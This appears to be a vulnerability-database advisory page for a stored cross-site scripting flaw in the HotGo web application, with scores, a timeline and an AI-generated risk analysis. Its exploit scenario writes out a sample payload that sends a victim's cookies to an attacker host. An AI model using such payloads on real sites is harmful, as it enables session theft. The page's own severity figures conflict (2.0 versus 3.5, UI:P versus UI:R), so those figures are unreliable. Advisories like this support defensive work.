Is there a public PoC exploit available for EUVD-2026-17775?

Yes, a public proof-of-concept exploit is available for EUVD-2026-17775. Prioritise patching immediately. EPSS: 0.0%.

Hotgo EUVD-2026-17775

Q: What is the CVSS score of EUVD-2026-17775?

EUVD-2026-17775 has a CVSS 4.0 base score of 2.0 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

| CVE-2026-5253 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-04-01 VulDB

XSS Hotgo

2.0

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

2.0 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.1 (MEDIUM) 2.0 (LOW)

PoC Detected

Apr 01, 2026 - 14:23 vuln.today

Public exploit code

EUVD ID Assigned

Apr 01, 2026 - 04:00 euvd

EUVD-2026-17775

Analysis Generated

Apr 01, 2026 - 04:00 vuln.today

CVE Published

Apr 01, 2026 - 03:15 nvd

MEDIUM 5.1

DescriptionCVE.org

A weakness has been identified in bufanyun HotGo 1.0/2.0. Affected by this vulnerability is an unknown functionality of the file /web/src/layout/components/Header/MessageList.vue of the component editNotice Endpoint. Executing a manipulation can lead to cross site scripting. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

Stored cross-site scripting (XSS) in bufanyun HotGo 1.0/2.0 allows authenticated remote attackers to inject malicious scripts via the editNotice endpoint in the MessageList.vue component, affecting the application's message handling functionality. The vulnerability requires user interaction (UI:R) to execute but has publicly available exploit code and a low CVSS score (3.5) due to limited attack complexity and minimal impact scope. …

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Vulnerability AssessmentAI

Risk Assessment	Despite the low CVSS score (3.5), this vulnerability carries moderate real-world risk due to several factors. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An authenticated user with low privilege credentials crafts a malicious message containing JavaScript payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">) and submits it via the editNotice endpoint. The application fails to sanitize the input and stores it in the message list. …
Remediation	No vendor-released patch identified at time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report.

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EUVD-2026-17775 vulnerability details – vuln.today

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